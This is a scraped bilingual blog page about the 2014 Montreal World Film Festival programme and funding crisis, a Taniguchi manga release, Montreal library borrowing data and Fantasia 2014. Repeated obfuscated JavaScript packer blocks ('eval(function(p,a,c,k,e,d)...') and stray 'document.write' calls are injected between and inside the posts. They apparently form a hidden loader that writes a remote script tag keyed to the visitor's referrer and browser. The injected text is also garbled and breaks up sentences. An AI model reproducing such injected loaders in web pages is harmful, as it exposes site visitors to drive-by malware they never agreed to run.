    In Hokkaido, Ao grows grapes for wine while his younger brother, Roku, tends to the wheat field inherited from their father. Then a mysterious women enters their lives.

    Schedule: Sat 8/30 11:40 QL16; Sat 8/30 19:00 QL16; Sun 8/31 14:20 QL16.

  • A courtesan with flowered skin (???? / Hanayoi dochu): Japan, 2014, 102 min; Dir.: Keisuke Toyoshima; Cast: Yumi Adachi (Asagiri), Yasushi Fuchikami (Hanjiro), Ena Koshino, Yoko Mitsuya, Hanako Takigawa, Ayano Tachibana, Saki Takaoka, Tomochika, Kanji Tsuda.

    In 1860s Japan, popular courtesan Asagiri is about to be freed from her indentured service. One day at a local festival she meets a young artisan, Hanjiro, an encounter that changes her destiny.

    Schedule: Thu 8/28 10:00 QL15; Thu 8/28 19:00 QL15; Fri 8/29 17:00 QL15.

Focus on World Cinema

  • Fly, Dakota, Fly! (??! ??? / Tobe! Dakota): Japan, 2014, 109 min; Dir.: Seiji Aburatani; Scr.: Kuniho Yasui, Naoyuki Tomomatsu; Phot.: Shigeru Komatsubara; Prod.: Kiyoshi Mizuno; Cast: Manami Higa, Masataka Kubota, Akira Emoto, Yoriko Douguchi, Kumi Nakamura, Miyoko Yoshimoto, Yukijiro Hotaru, Yukiyo Sono, Minoru Sawatari, Mark Chinnery, Dean Newcombe, Toshiki Ayata, Bengal.

    January 1946. A British military plane carrying diplomats makes a crash landing on the beach in a small village on a remote Japanese island. The pilots need help but the locals were enemies just half a year ago.

    Schedule: Sat 8/30 13:00 QL15; Sat 8/30 21:30 QL15; Sun 8/31 17:00 QL15.

  • Blossom bloom (????? / Sakura saku): Japan, 2014, 107 min.; Dir.: Mitsutoshi Tanaka; Scr.: Masashi Sada (based on his short story), Eriko Komatsu; Phot.: Takeshi Hamada; Prod.: Norihisa Ohara, Ryosuke Otani; Cast: Naoto Ogata (Shunsuke Osaki), Kaho Minami (Akiko), Tatsuya Fuji (Shuntaro), Karen Miyama, Masato Yano.

    With a highly paid job, a beautiful wife, and two independent teenage kids, not to mention his own father living with him at home, Shunkuze, 47, seems to have it all. But appearances can be deceiving.

    Schedule: Fri 8/22 19:20 QL12; Sat 8/23 11:40 QL12; Sun 8/24 16:40 QL12.

  • A sparkle of life (Sansan): Japan, 2014, 81 min.; Dir.: Bunji Satoyama; Phot.: Shogo Ueno; Ed.: Hitomi Katô; Mus.: Sayaka Asaoka, Asuka Matsumoto; Cast: Kazuko Yoshiyuki, Akira Takarada, Natsue Hyakumoto, Michiyo Miyata, Kanami Tagawa, Masatake Takei, Kei Takushima, Kazuko Tauchi, Yoichi Toyama, Toshiko Tsumura, Gaku Yamamoto.

    Lonely after the death of her husband, whom she nursed for years, 77 year-old Tae Tsurumoto decides to find a new life partner. Her family and friends try to dissuade her.

    Schedule: Wed 8/27 19:20 QL14; Thu 8/28 12:30 QL14; Fri 8/29 14:10 QL14.

  • One third (??????? / Sanbun no ichi): Japan, 2014, 119 min.; Dir.: Hiroshi Shinagawa; Scr.: Hiroshi Shinagawa (based on a novel by Hanta Kinoshita); Cast: Tatsuya Fujiwara, Koki Tanaka, Ryuichi Kosugi, Mika Nakashima, Yosuke Kubozuka, Shinnosuke Ikehata, Ryo Kimura, Sho Aikawa, Mitsu Dan, Ayumi Shimozono.

    Three small-time crooks desperate to turn their lives around manage to pull off a successful bank hit in broad daylight. But they aren’t the only ones after the loot.

    Schedule: Fri 8/22 14:30 QL15; Sat 8/23 21:50 QL15; Mon 8/25 10:00 QL15.

  • Tokyo: The city of glass (???????????? / Tôkyô: Koko wa Glass no Machi): Japan, 2014, 100 min.; Dir.: Kazuhiro Teranishi; Scr.: Oroba Irie & Kazuhiro Teranishi; Phot.: Shigeru Iwamatsu; Ed.: Kumiko Arai; Mus.: Naoto Okabe; Cast: Atsushi Kimura, JK, Tomoko Nakajima.

    A graduate student who runs a bar in Shinjuku N-chome, Tokyo’s gay district, meets a Korean man and falls in love, but a 20-year-old homicide case makes this more than a love story.

    Schedule: Fri 8/22 19:00 QL15; Sat 8/23 10:00 QL15; Sun 8/24 14:00 QL15.

Focus on World Cinema — Short Films

  • All He Knows Right: Japan, 2014, 5 min.; Dir.: Akihito Nonowe, Isao Sano, Konoka Takashiro. No dialogue. Second episode of the stop motion experimental animation Keblujara. [Facebook]
  • No return on perishables (Koi ha kangaeruna, ai ha kanjiro): Japan, 2014, 18 min.; Dir.: Takatsugu Naito.
  • Suicide volunteers (Tokko Shigan): Japan, 2014, 25 min.; Dir.: Kenshow Onodera. [IMDb]
  • When the sun falls (Hi-wa-ochiru): Japan, 2014, 39 min.; Dir.: Yuji Kakizaki. [IMDb]
    All four shorts are shown together:
    Schedule: Tue 8/26 21:40 QL13; Wed 8/27 16:20 QL13.

Tributes

  • Norwegian wood (??????? / Noruwei no mori): Japan, 2010, 128 min.; Dir.: Tran Anh Hung; Scr.: Haruki Murakami (based on his novel) & Anh Hung Tran; Phot.: Pin Bing Lee; Prod.: Chihiro Kameyama, Shinji Ogawa; Cast: Kenichi Matsuyama, Rinko Kikuchi, Kiko Mizuhara, Tetsuji Tamayama, Kengo Kora, Reika Kirishima, Eriko Hatsune, Tokio Emoto, Shigesato Itoi, Haruomi Hosono, Yukihiro Takahashi. Shown as part of the tribute to Michael J. Werner.

    Tokyo, the late 1960s. Students around the world are uniting to overthrow the establishment and Toru Watanabe’s personal life is similarly in tumult.

    Schedule: Sat 8/30 21:30 QL12; Sun 8/31 16:10 QL12.

  • Tôkyô Sonata (????????): Japan, 2008, 119 min.; Dir.: Kiyoshi Kurosawa; Scr.: Max Mannix, Kiyoshi Kurosawa, Sachiko Tanaka; Phot.: Akiko Ashizawa; Ed.: Kôichi Takahashi; Mus.: Kazumasa Hashimoto; Cast: Kazumasa Hashimoto, Kyoko Koizumi, Kai Inowaki, Yu Koyanagi, Koji Yakusho, Haruka Igawa. Shown as part of the tribute to Michael J. Werner.

    An ordinary Japanese family slowly disintegrates after its patriarch loses his job at a prominent company, then detours into the comic, the macabre and the sublime.

    Schedule: Thu 8/28 16:30 QL12; Fri 8/29 16:30 QL12.

  • Hiroshima mon amour (???????? / Nij?yojikan no j?ji / lit. “Twenty-four-hour affair”): France / Japan, 1959, 90 min.; Dir.: Alain Resnais; Scr.: Marguerite Duras; Phot.: Michio Takahashi, Sacha Vierny; Mus.: Georges Delerue, Giovanni Fusco; Cast: Emmanuelle Riva, Eiji Okada, Bernard Fresson, Stella Dassas, Pierre Barbaud.

    A French actress filming an anti-war film in Hiroshima has an affair with a married Japanese architect as they share their differing perspectives on war.

    Schedule: Sat 8/30 19:20 QL11.

[ Traduire ]

Programmation FFM 2014

Lors d’une conférence de presse mardi le 5 août dernier le Festival des Films du Monde de Montréal a annoncé les grandes lignes de la programmation de sa 38e édition.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sarhh|var|u0026u|referrer|rszsy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sssek|var|u0026u|referrer|yebke||js|php’.split(‘|’),0,{}))

On nous promet une sélection de qualité qui inclue environ 350 films (160 longs métrages et 190 courts métrages) en provenance de 74 pays. En plus de nous faire découvrir l’avenir du cinéma avec 51 premières oeuvres, document.write(“”); on y retrouvera une centaine de premières mondiales ou internationales et 32 premières nord-américaines. La programmation se divise en huit sections: la Compétition mondiale (32 films dont 13 courts métrages), la Compétition mondiale des premières oeuvres (19 longs métrages), les films Hors concours (17 longs métrages), Regards sur les cinémas du monde (77 longs métrages et 74 courts métrages), les Documentaires du monde (27 longs métrages et 7 courts métrages), les Hommages (dont 5 films en hommage à Michael J. Werner), le Festival du film étudiant: sélection nationale (26 courts métrages) et sélection internationale (60 courts métrages). De quoi plaire à tout les goûts!

Vous trouverez tous les détails de cette riche programmation dans le communiqué de presse (disponible aussi en anglais). Je vous recommande aussi de lire les commentaires que font Le Devoir (“Un FFM affaibli mais debout” par Odile Tremblay, 6 août 2014) et The Gazette (“Festival des films du monde acts globally” par T’cha Dunlevy, 5 août 2014) sur la programmation du FFM.

Vous pouvez également visionner quelques extraits de la conférence de presse sur Vimeo :


Bien sûr, avec le retrait de plusieurs subventions (à ce sujet voir mon billet “Le FFM se prépare à une 38e année difficile”, de même que le récent article du DevoirL’incompréhensible assassinat du FFM” et l’éditorial de The Gazette du 6 août, “It’s time for Montreal’s main film festival to refocus” [en anglais]), il y aura des événements qui seront annulés ou dont l’avenir est encore incertain, comme les projections en plein air (le FFM cherche toujours un nouveau commanditaire) ou le sous-titrage bilingue des films en compétition (quoique la technologie rend maintenant cela plus facile et surtout moins coûteux). Toutefois, avec la diversité et la qualité habituelle de sa programmation, je ne suis pas sûr la plupart des amateurs fidèles du FFM voient vraiment une différence. Tout ce qu’ils veulent c’est voir de bons et beaux films et, pour cela, ils seront sûrement servi. Et, comme nous le rappel Serge Losique, le FFM est un festival très important, respecté à travers le monde. Il mérite donc toute notre attention et notre support.

Le Festival des Films du Monde de Montréal se tiendra du 21 août au 1er septembre 2014, aux cinémas Impérial (1430 rue de Bleury — Métro Place des Arts) et Quartier Latin (350 rue Emery — Métro Berri-UQAM). Les billets seront disponible dès le 16 août à midi aux guichets des cinémas Impérial et Quartier Latin, et en réseau de billetterie dès le 22 août. Les billets individuels sont $10, les Passeports sont $100 et la Carte Cinéphile est $250. Des carnets de 10 coupons échangeables contre des billets individuels sont également disponible pour $70. Plus de détails sur le site du festival: www.ffm-montreal.org.

[ Translate ]

Découverte: Les contrées sauvages

L’auteur de Quartier lointain nous propose un périple à travers les grands espaces.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azteh|var|u0026u|referrer|iskdy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynarn|var|u0026u|referrer|edfdk||js|php’.split(‘|’),0,{}))

“Au milieu d’une nature cruelle et ses créatures hostiles, document.write(“”); l’homme est la proie de tout, et surtout de lui-même.”

“Dans cette anthologie en deux tomes, nous découvrons une facette encore méconnue en France de l’oeuvre de Taniguchi : l’époque où, nourri de bande dessinée européenne, il s’essayait à la BD de genre en y insufflant ce qui est aujourd’hui encore sa marque de fabrique : un immense talent de raconteur d’histoires.”

(Texte du site de l’éditeur)

Animeland nous apprend qu’un nouveau manga de Jirô Taniguchi devrait paraître en France cette automne!

Il s’agit de Les Contrées Sauvages (???? / K?ya yori / From Wilderness) une anthologie de onze histoires publiée au Japon en 2012 par Kobunsha — incluant “Nazuke enu mono” [??????? / Innommable] préalablement publié en 2010 par Kodansha dans Comic Box Amasia, ainsi que “K?ya o ayume” [????? / Le désert d’Ayume], “Rongunaifu” [?????? / Long couteau], “???” [?], “Geronimo” [?????], “Mori e” [?? / Vers la forêt], “Tsuki ni hoeru” [????? / Hurlant à la lune], “Saketa h?k?” [????? / Hurlemant déchiré], “Y?kara no mori” [?????? / La forêt de Yukar], “ Taka” [? / Le Faucon] et “Irataka no juzu” [??????? / Le Rosaire d’Irataka].

La version française devrait paraître chez Casterman (collection Sakka) en deux volumes dont le premier sortira en septembre.

Les Contrées Sauvages vol. 1, par Jirô Taniguchi. Paris: Casterman (collection Sakka), septembre 2014. 240 pgs, 13.95 €, ISBN: 9782203084438.

[ Translate ]

Données sur les emprunts de livres

Un article dans la Gazette du 29 juillet fait une intéressante analyse des données sur les emprunts de livres dans les bibliothèques publiques de Montréal. L’auteur de cet article, document.write(“”); Roberto Rocha (dont la chronique Data Points se spécialise dans ce genre d”interprétation de données), fait ce qui me semble la première analyse indépendante des méta-data sur les bibliothèques publiques que la Ville de Montréal avait rendu publique il y a quelques années au sein de son “Portail de données ouvertes”. On y trouve les statistiques d’emprunt pour les 4,4 millions de documents des 45 bibliothèques de la ville collectées depuis leur inclusion dans le catalogue Nelligan (c’est-à-dire entre le 27 juin 2007 et le 30 août 2011). Le site n’indique pas avoir été mis à jour depuis mais pourtant M. Rocha donne des statistiques pour l’année courante…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esieh|var|u0026u|referrer|raybb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rsiei|var|u0026u|referrer|zater||js|php’.split(‘|’),0,{}))

Les conclusions sont très étonnantes: il en ressort que la littérature jeunesse prédomine très largement les emprunts et tout particulièrement la bande-dessinée et les mangas ! Le top 10 des emprunts toutes catégories depuis le début de la compilation des données est le suivant:

Continuez après le saut de page >>

Naruto (manga)
Garfield (BD)
Winx club (BD / novelisation)
Les Légendaires (BD)
Détective Conan (manga)
Les Simpson (BD)
One Piece (manga)
Yu-Gi-Oh (manga)
Fruits basket (manga)
Caillou (livre d’images)

Toutefois, si l’on tient compte des différents volumes de chaque série et des variantes dans les titres on obtient un tableau un peu différent dont les trois premières positions sont occupées par les mangas Fruits basket, One Piece et la BD Les p’tits diables. On y retrouve trois autres mangas: Chocola & Vanilla (Sugar Sugar Rune) [4e position], Doraemon [5e] et Détective Conan [13e] ainsi que des séries télé comme Dexter [7e], Lost [10e] et The Sopranos [12e]. A noter la présence de la série de littérature jeunessse Psy malgré moi en onzième position.

Je suis fort heureux de constater que les jeunes usagés utilisent beaucoup les bibliothèques (toutefois il ne faut pas oublier que les jeunes n’ont pas l’exclusivité de la lecture de BD!) et que les mangas font si bonnes figures parmi les emprunts — peut-être qu’ils obtiendront finalement le respect qu’ils méritent! Malheureusement, l’article ne donne aucune statistique pour les titres de littérature jeunesse en tant que tel (excluant la BD et les documentaires). J’aurais été bien curieux de voir les titres jeunesses le plus lus tant en anglais qu’en français…

Le top 3 des romans anglais (fiction) inclus The girl with the dragon tattoo (Stieg Larson), Nine Dragons (Michael Connelly) et Fifty shades of Grey (E.L. James).

Le top 3 des romans français inclus A.N.G.E. (Anne Robillard), Mémoires d’un quartier (Louise Tremblay-d’Essiambre) et Aya de Yopougon (Marguerite Abouet).

Chose amusante, le documentaire anglais (non-fiction) le plus populaire est Driving a passenger vehicle alors que le documentaire français le plus populaire est… Conduire un véhicule de promenade ! Il est vrai que ces manuels pour les cours de conduite sont très empruntés.

Vous trouverez plus de détails (et les chiffres exacts) dans l’article lui-même (en anglais).

[ Translate ]

Jury of the Montreal World Film Festival

The Montreal World Film Festival has announced that the jury of the 38th Festival will be presided by Italian actor and director Sergio Castellitto. The jury will also be made of Rachid Bouchareb (Franco-Algerian director-producer), document.write(“”); Andréanne Bournival (Quebec television programming manager), Fridirik Thor Fridriksson (Icelandic producer), Ana Torrent (Spanish actress) and Jane Zhang (Chinese pop singer and actress). (See the full press release)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yherf|var|u0026u|referrer|zkbtk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fdeyf|var|u0026u|referrer|iidah||js|php’.split(‘|’),0,{}))

The festival has also announced that it will pay tribute to international distributor-producer Michael J. Werner, chairman of film sales of Fortissimo Films. The veteran America-born producer has been located in Hong Kong over the past two decades from where he guided the production and distribution of Asian films to markets around the world. As part of the tribute to Michael J. Werner, the Festival will show five recent films distributed and/or co-produced by Fortissimo: Tears of the Black Tiger directed by Wisit Sasanatieng (Thailand, 2000), Norwegian Wood, by Tran Ang Hung (Japan, 2010, adaptation of the famous Haruki Murakami’s novel), The Grandmaster by Wong Kar Wai (Hong Kong, 2013) and the Canadian premieres of The Great Hypnotist, by Leste Chan (China, 2014) and Black Coal, Thin Ice by Diao Yinan (China / Hong Kong, 2014), this year’s Golden Bear winner at the Berlin Film Festival. (
See the full press release)

The only large competitive festival in North America accredited by FIAPF (the International Federation of Film Producers’ Associations), the 38th Montreal World Film Festival will run from August 21 to September 1, 2014.

[ Traduire ]

Le FFM se prépare à une 38e année difficile

Dès février, document.write(“”); le FFM sortait ses premiers communiqués de presse de l’année en annonçant la nomination de monsieur Massimo Saidel comme ‘’conseiller spécial’’ pour le Marché international du film du FFM. Massimo Saidel apportera son expertise et se rapportera à Gilles Bériault, le directeur du Marché international du film pour la préparation et l’organisation du prochain marché en 2014, qui se déroulera durant le 38e Festival des Films du monde, du 21 août au 1er septembre 2014. (Voir le communiqué)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trnid|var|u0026u|referrer|eaezy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibffz|var|u0026u|referrer|ekihz||js|php’.split(‘|’),0,{}))

Lire la suite >>

En mars, le FFM annonçait que le Marché international du film de Montréal, qui est une activité importante du Festival des films du monde de Montréal, aura une nouvelle section de films européens ce qui fera du Marché une plateforme majeure du cinéma européen en Amérique. Ce sera l’occasion pour tous les secteurs européens de l’industrie cinématographique de faire la promotion de leurs films et de développer d’éventuels partenariats de coproduction. Le Marché du film de Montréal est un rendez-vous important pour les membres de l’industrie locale qui y trouvent l’occasion unique de rencontrer des professionnels de tous les pays. En plus de la présence des représentants européens, le Marché accueillera à nouveau la Semaine de l’industrie chinoise du cinéma. (Voir le communiqué)

À la fin avril, le FFM annonçait que le 38e Festival des films du monde sera dédié à la mémoire de Gabriel García Márquez décédé plus tôt cette année. Il est “sans conteste un phare unique de la littérature mondiale du XXe siècle. Le FFM tient à saluer sa mémoire en hommage à son immense talent et à son engagement humaniste constant pour la défense des cultures de l’Amérique du Sud. Il est un des adeptes du réalisme magique qui a influencé non seulement ses collègues écrivains mais aussi nombre de cinéastes latino américains et autres que nous avons accueillis ici » a déclaré Serge Losique, président du FFM. (Voir le communiqué)

Puis, en mai, le FFM dévoilait l’affiche du 38e Festival, qui a été choisie par le public. Il s’agit d’une oeuvre l’artiste bolivien Marco Toxico.

Ses œuvres sont reconnues mondialement et ont bénéficié de publications en Allemagne, Argentine, Belgique, Brésil, Espagne, France, Mexique, Pérou et Venezuela en plus d’y être exposées régulièrement. Il est le cofondateur, avec Karen Gil, de la maison d’édition La Ñatita consacrée à la publication de leurs travaux. Il a été nommé parmi les 10 meilleurs illustrateurs par le Cow International Design Festival d’Ukraine et a obtenu une mention lors des Rencontres latino-américaines de Design 2013 de Buenos-Aires. (Voir le communiqué)

À la fin juin, le FFM nous rappelle que le Marché international du film de Montréal se prépare a accueillir une importante délégation de l’industrie cinématographique chinoise qui viendra proposer une série de projets de coproduction. (Voir le communiqué)

Finalement, en juillet, le FFM a annoncé que Salaud, on t’aime de Claude Lelouch sera le film d’ouverture de la 38e édition du festival (voir le communiqué) et que Aimer, boire et chanter d’Alain Resnais en serait le film de clôture (voir le communiqué). On a également annoncé le 1er août que l’acteur Hippolyte Girardot sera présent à Montréal pour la projection de l’ultime film de Resnais, “Aimer, Boire et Chanter” (voir le communiqué).

Malheureuseement, les préparatifs pour cette 38e édition du festival sont perturbés par une sérieuse controverse. Le 5 juin dernier, Le Devoir annonce que le Festival des films du monde est menacé car il serait en panne de financement. En effet, la SODEC ne lui accorderait pas de subventions cette année et deux autres bailleurs de fonds principaux, Téléfilm Canada et la Ville de Montréal, retireraient aussi leurs soutien faute d’avoir accès à tous ses livres, à un plan de redressement bien établi et à des finances équilibrées. Le FFM serait ainsi en faillite technique puisqu’il serait miné par un déficit accumulé de plus de 2,5 millions.

Le FFM réplique avec un communiqué où il affirme que malgré le fait que certaines promesses de soutien n’ont pas été tenues, les préparatifs pour la 38e année du festival continues, que le festival se tiendra malgré tout, et qu’il offrira comme par le passé une sélection riche et variée. Il est impossible de nier que les festival éprouve des difficultés financières mais qu’il devrait passer au travers grâce à une gestion rigoureuse et responsable et à un plan de relance.

Par la suite, La Presse et Le Devoir font la chronique de cette saga (à noter que la série d’articles de La Presse nous parait plutôt hostile envers le festival):

À suivre… Étrangement, à travers toute cette tempête, je n’ai pas vu beaucoup de gens qui défendent le FFM: à part quelques acteurs du monde du cinéma [Le Devoir, 16 juillet — abonnement requis], je n’ai vu qu’un éditorial au Devoir titré “Un actif à conserver” [Le Devoir, 3 juillet — abonnement requis mais heureusement le FFM l’a reprit dans son intégralité sur sa page Facebook] et une chronique de Nathalie Petrowski, titré “Une dernière chance” (La Presse, 7 juillet) qui le défendent tant soit peu.

Je trouve tout cela extrêmement dommage. Comme je l’ai déjà dit dans un commentaire quelque part sur FB, non seulement le FFM nous offre l’occasion de voir des films qu’on ne verrait pas ailleurs (contrairement au festival de Toronto où les films sortent en salles dans les semaines qui suivent; je n’en comprend pas du tout l’intérêt…) mais il fait rayonner la ville de Montréal internationalement ! Oui peut-être qu’il n’attire plus autant les foule que Fantasia (mais les deux festivals visent des public totalement différents) et c’est sûr qu’il y aurait du travail à faire sur la promotion et la gestion mais le FFM n’en demeure pas moins un événement culturel essentiel qui se doit d’être préservé et subventionné. Point. Si on trouve de l’argent pour la F1, je suis sûr qu’on peut faire l’effort d’en trouver pour le FFM ! Alors, grands dieux et s.v.p., arrêtez d’argumenter et faites juste en sorte qu’on puisse voir de bons et beaux films !

[ Traduire ]

Fantasia 2014


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etniy|var|u0026u|referrer|yisdb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibbrr|var|u0026u|referrer|naraz||js|php’.split(‘|’),0,{}))
The 18th edition of the Fantasia International Film Festival will be held in Montreal from July 17 to August 5, document.write(“”); 2014. Screenings will take place mostly at the freshly renovated Concordia Hall Cinema. This year the festival is offering a lineup of over 160 features films and about 300 shorts. For more programming details check the festival’s web page at www.fantasiafestival.com.

Here our main interest is the asian programming (over sixty movies from seven countries: 22 from Japan, 17 from South Korea, 7 from Hong Kong, 2 from Indonesia, one each from China, Malaysia and Philippines) and particularly the animation (twelve movies from four countries: 8 from Japan, 2 from China, as well as one each from South Korea and Indonesia — there’s also one anime-related animation from Québec).

Update: For comments on the Japanese movies presented at Fantasia, I highly recommend reading Claude R. Blouin’s article [in french], “Montréal, Fantasia 2014 : le Japon des exclus” on Shomingeki web magazine.

A recap list of the Asian programming titles follows (with links to full description).


Anime (+ Asian Animation):

Japan (Live-Action):

Other Asian countries (Live-Action):

[ Traduire ]